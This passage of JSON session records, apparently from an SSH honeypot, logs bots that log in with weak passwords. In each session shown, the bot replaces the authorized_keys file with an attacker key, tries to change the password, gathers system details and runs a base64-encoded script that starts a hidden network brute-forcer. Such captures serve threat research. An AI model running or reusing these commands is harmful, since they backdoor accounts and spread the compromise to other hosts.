/var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T17:09:58.645137+00:00","kind":"output","latency_ms":528,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T17:09:58.995075+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T17:09:59.498827+00:00","kind":"output","latency_ms":505,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T17:09:59.855317+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T17:10:00.203932+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T17:10:00.675282+00:00","kind":"output","latency_ms":479,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T17:10:01.025485+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T17:10:01.523567+00:00","kind":"output","latency_ms":501,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T17:10:01.875102+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T17:10:02.310156+00:00","kind":"output","latency_ms":437,"data":""},{"seq":47,"at":"2026-08-23T17:10:10.488388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T17:10:10.490406+00:00","kind":"output","latency_ms":null,"data":"adminweb"}],"credentials":[{"username":"adminweb","password":"adminweb","method":"password","accepted":true,"tier":"other"}]} {"id":"4b4a7481-28dd-4636-926d-88ae6ce51d5c","name":"wandering-forlorn-bobcat","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.235.9","src_port":50700,"username":"gbase","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":247,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T17:07:09.255602+00:00","ended_at":"2026-08-23T17:07:10.091833+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3928,"events":[{"seq":1,"at":"2026-08-23T17:06:52.063091+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T17:06:52.309380+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T17:06:56.703654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T17:06:56.705561+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T17:06:56.955232+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n72FKXYvlkz4N\\n72FKXYvlkz4N\"|passwd|bash"},{"seq":6,"at":"2026-08-23T17:06:57.203414+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n72FKXYvlkz4N\\n72FKXYvlkz4N\\n\"|passwd"},{"seq":7,"at":"2026-08-23T17:06:57.450044+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T17:06:57.451746+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T17:06:57.698310+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T17:06:58.372323+00:00","kind":"output","latency_ms":670,"data":"15888 3124 12764 108 0 0"},{"seq":11,"at":"2026-08-23T17:06:58.621109+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T17:06:59.434021+00:00","kind":"output","latency_ms":815,"data":"-rwxr-xr-x 1 root root 148K Apr 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T17:06:59.682649+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T17:06:59.685346+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T17:06:59.932741+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T17:06:59.936323+00:00","kind":"output","latency_ms":null,"data":" 17:06:59 up 3 days, 13:57, 0 user, load average: 0.18, 0.15, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T17:07:00.182055+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T17:07:00.184884+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T17:07:00.431350+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T17:07:00.434064+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T17:07:00.680063+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T17:07:00.683045+00:00","kind":"output","latency_ms":null,"data":"top - 17:07:00 up 3 days, 13:57, 0 user, load average: 0.18, 0.15, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T17:07:00.930365+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T17:07:00.934716+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T17:07:01.179547+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T17:07:01.182250+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T17:07:01.430096+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T17:07:01.433090+00:00","kind":"output","latency_ms":null,"data":"gbase"},{"seq":29,"at":"2026-08-23T17:07:01.679909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T17:07:02.833908+00:00","kind":"output","latency_ms":1155,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T17:07:03.081591+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T17:07:03.574452+00:00","kind":"output","latency_ms":493,"data":"26G"},{"seq":33,"at":"2026-08-23T17:07:04.383403+00:00","kind":"input","latency_ms":null,"data":"echo \"gbase 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T17:07:04.629667+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T17:07:05.206117+00:00","kind":"output","latency_ms":576,"data":""},{"seq":36,"at":"2026-08-23T17:07:05.479431+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T17:07:06.271636+00:00","kind":"output","latency_ms":797,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T17:07:06.523062+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T17:07:07.158272+00:00","kind":"output","latency_ms":634,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T17:07:07.409367+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T17:07:07.657089+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T17:07:08.271656+00:00","kind":"output","latency_ms":617,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T17:07:08.522472+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T17:07:09.009138+00:00","kind":"output","latency_ms":485,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T17:07:09.258509+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T17:07:09.671168+00:00","kind":"output","latency_ms":412,"data":""}],"credentials":[{"username":"gbase","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"15b8cc85-2e01-49d5-8d23-197de278f1b5","name":"inland-ashen-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"4.224.40.94","src_port":58494,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":617,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T16:13:55.703155+00:00","ended_at":"2026-08-23T16:13:55.895998+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3943,"events":[{"seq":1,"at":"2026-08-23T16:13:18.783114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T16:13:19.400423+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T16:13:25.037373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T16:13:25.039438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T16:13:25.651915+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\njS84p5RMwCdH\\njS84p5RMwCdH\"|passwd|bash"},{"seq":6,"at":"2026-08-23T16:13:26.262816+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\njS84p5RMwCdH\\njS84p5RMwCdH\\n\"|passwd"},{"seq":7,"at":"2026-08-23T16:13:26.878656+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T16:13:26.879261+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T16:13:27.490286+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T16:13:28.034994+00:00","kind":"output","latency_ms":544,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T16:13:28.657575+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T16:13:29.484129+00:00","kind":"output","latency_ms":825,"data":"-rwxr-xr-x 1 root root 133K Jan 17 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T16:13:30.105899+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T16:13:30.107247+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T16:13:30.738690+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T16:13:30.739234+00:00","kind":"output","latency_ms":null,"data":" 16:13:30 up 3 days, 13:03, 0 user, load average: 0.02, 0.02, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T16:13:31.351210+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T16:13:31.353267+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T16:13:31.966065+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T16:13:31.966486+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T16:13:32.579131+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T16:13:32.581069+00:00","kind":"output","latency_ms":null,"data":"top - 16:13:32 up 3 days, 13:03, 0 user, load average: 0.02, 0.02, 0.01\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T16:13:33.191022+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T16:13:33.192560+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T16:13:33.803187+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T16:13:33.805205+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T16:13:34.418088+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T16:13:34.420307+00:00","kind":"output","latency_ms":null,"data":"mailuser"},{"seq":29,"at":"2026-08-23T16:13:35.032075+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T16:13:35.904704+00:00","kind":"output","latency_ms":872,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T16:13:36.523371+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T16:13:36.976205+00:00","kind":"output","latency_ms":455,"data":"24G"},{"seq":33,"at":"2026-08-23T16:13:38.892697+00:00","kind":"input","latency_ms":null,"data":"echo \"mailuser 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T16:13:39.507303+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T16:13:40.352713+00:00","kind":"output","latency_ms":845,"data":""},{"seq":36,"at":"2026-08-23T16:13:41.688552+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T16:13:42.376151+00:00","kind":"output","latency_ms":685,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T16:13:42.995399+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T16:13:43.441500+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T16:13:44.062456+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T16:13:44.676060+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T16:13:45.178578+00:00","kind":"output","latency_ms":503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T16:13:45.801703+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T16:13:46.425173+00:00","kind":"output","latency_ms":622,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T16:13:47.042088+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T16:13:55.703996+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-23T16:13:55.705259+00:00","kind":"output","latency_ms":null,"data":"mailuser"}],"credentials":[{"username":"mailuser","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"40817a97-176c-48c1-b57c-ffceaa09c3dc","name":"opal-rambling-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.199.36","src_port":60606,"username":"caleb","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":377,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:50:29.670651+00:00","ended_at":"2026-08-23T13:50:29.782631+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3455,"events":[{"seq":1,"at":"2026-08-23T13:50:00.648445+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:50:01.025711+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T13:50:06.236894+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T13:50:06.238217+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T13:50:06.615079+00:00","kind":"input","latency_ms":null,"data":"echo -e \"caleb\\n4QGbrNvaI0UD\\n4QGbrNvaI0UD\"|passwd|bash"},{"seq":6,"at":"2026-08-23T13:50:06.992713+00:00","kind":"input","latency_ms":null,"data":"echo \"caleb\\n4QGbrNvaI0UD\\n4QGbrNvaI0UD\\n\"|passwd"},{"seq":7,"at":"2026-08-23T13:50:07.372053+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T13:50:07.372475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T13:50:07.749651+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T13:50:08.425137+00:00","kind":"output","latency_ms":674,"data":"15888 7641 1944 227 6294 7306"},{"seq":11,"at":"2026-08-23T13:50:08.803662+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T13:50:09.499763+00:00","kind":"output","latency_ms":692,"data":"lrwxrwxrwx 1 root root 7 Apr 23 2026 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-23T13:50:09.877710+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T13:50:09.880150+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T13:50:10.255098+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T13:50:10.255842+00:00","kind":"output","latency_ms":null,"data":" 13:50:10 up 3 days, 10:40, 0 user, load average: 0.2, 0.15, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T13:50:10.633515+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T13:50:10.635236+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T13:50:11.014158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T13:50:11.014879+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T13:50:11.391378+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T13:50:11.393280+00:00","kind":"output","latency_ms":null,"data":"top - 13:50:11 up 3 days, 10:40, 0 user, load average: 0.2, 0.15, 0.14\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T13:50:11.770238+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T13:50:11.772254+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T13:50:12.149065+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T13:50:12.149536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 